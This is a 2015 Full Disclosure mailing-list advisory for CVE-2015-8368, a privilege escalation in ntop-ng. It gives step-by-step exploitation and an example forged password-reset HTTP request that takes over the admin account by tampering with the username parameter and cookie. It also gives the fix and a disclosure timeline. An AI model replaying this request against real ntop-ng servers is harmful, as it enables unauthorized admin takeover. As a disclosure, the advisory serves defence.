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Date: Sat, 5 Dec 2015 00:11:22 +0000
From: Dolev Farhi <D.Farhi@...com>
To: "'fulldisclosure@...lists.org'" <fulldisclosure@...lists.org>
Subject: [FD] ntop-ng <= 2.0.151021 - Privilege Escalation

ntop-ng Privilege Escalation (CVE-2015-8368)





# Product Details:

ntop-ng is the next generation version of the original ntop, a network traffic probe that shows the network usage, similar to what the popular top Unix command does. ntopng is based on libpcap and it has been written in a portable way in order to virtually run on every Unix platform, MacOSX and on Windows as well.



# Vulnerability Details:

in the latest stable release of ntop-ng it is possible to escalate the privileges of a non-privileged user to the admin account by resetting the password, intercepting the request and replacing the HTTP parameters.



# Vulnerability technical information

1. Login with an unprivileged account

2. Change the account password and intercept the request, modify the username= and Cookie user= and change to the admin account

Example:

GET /lua/admin/password_reset.lua?csrf=XXXXXXXXXXXXXXXXXX&username=admin&old_password=12345&new_password=123456&confirm_new_password=123456 HTTP/1.1
Cookie: user=admin; session=XXXXXXXXXXXXXXXXXXXXXXXXX 3. Login with the admin account and the password you defined in step #2


# Solution
Upgrade to ntop-ng 2.2 stable


# Advisory timeline
26.11 - Notified ntop security
27.11 - Vulnerability acknowledged, maintainer confirms it also affects the dev branch
28.11 - CVE assigned (CVE-2015-8368)
01.12 - ntop-ng 2.2 released with the fix
04.12 - Full disclosure

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